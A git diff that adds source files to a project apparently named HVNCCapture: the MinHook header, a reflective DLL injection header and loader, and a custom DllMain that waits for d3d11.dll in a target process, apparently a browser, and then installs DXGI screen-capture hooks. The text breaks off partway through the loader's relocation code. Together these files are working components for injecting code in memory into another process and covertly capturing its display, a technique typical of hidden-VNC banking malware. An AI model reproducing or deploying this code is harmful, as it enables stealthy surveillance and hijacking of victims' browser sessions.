b/HVNCCapture/src/MinHook.h new file mode 100644 index 0000000..8b16ce0 --- /dev/null +++ b/HVNCCapture/src/MinHook.h @@ -0,0 +1,185 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) +#error MinHook supports only x86 and x64 systems. +#endif + +#include + + // MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a Hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char* WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/HVNCCapture/src/ReflectiveDLLInjection.h b/HVNCCapture/src/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/HVNCCapture/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCCapture/src/ReflectiveDll.c b/HVNCCapture/src/ReflectiveDll.c new file mode 100644 index 0000000..ce3b823 --- /dev/null +++ b/HVNCCapture/src/ReflectiveDll.c @@ -0,0 +1,61 @@ +//===============================================================================================// +// HVNCCapture — ReflectiveDll.c +// +// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL +// is mapped into memory. Defers DXGI hook installation to a worker thread +// because DllMain runs under the loader lock and cannot safely call +// LoadLibrary / D3D11CreateDeviceAndSwapChain. +//===============================================================================================// +#include "ReflectiveLoader.h" +#include "DXGICapture.h" + +extern HINSTANCE hAppInstance; + +static HANDLE g_InitThread = NULL; + +// Worker thread: waits for d3d11.dll to appear, then installs hooks. +static DWORD WINAPI DeferredInit(LPVOID param) +{ + (void)param; + // Poll for d3d11.dll up to 60 seconds (browser may take a while) + for (int i = 0; i < 600; i++) { + if (GetModuleHandleA("d3d11.dll") != NULL) + break; + Sleep(100); + } + if (GetModuleHandleA("d3d11.dll") == NULL) { + // Process never loaded D3D11 — nothing to hook + return 0; + } + // Brief delay for swapchain creation + Sleep(500); + InstallDXGICapture(); + return 0; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + + switch (dwReason) + { + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + DisableThreadLibraryCalls(hinstDLL); + g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL); + break; + case DLL_PROCESS_DETACH: + if (g_InitThread) { + WaitForSingleObject(g_InitThread, 5000); + CloseHandle(g_InitThread); + g_InitThread = NULL; + } + RemoveDXGICapture(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + + return bReturnValue; +} diff --git a/HVNCCapture/src/ReflectiveLoader.c b/HVNCCapture/src/ReflectiveLoader.c new file mode 100644 index 0000000..900e436 --- /dev/null +++ b/HVNCCapture/src/ReflectiveLoader.c @@ -0,0 +1,516 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic(_ReturnAddress) +#define RDI_NOINLINE __declspec(noinline) +#else +#define RDI_NOINLINE __attribute__((noinline)) +#endif + +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +RDI_NOINLINE ULONG_PTR caller(VOID) +{ +#ifdef _MSC_VER + return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); +#else + return 0; +#endif +} +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += 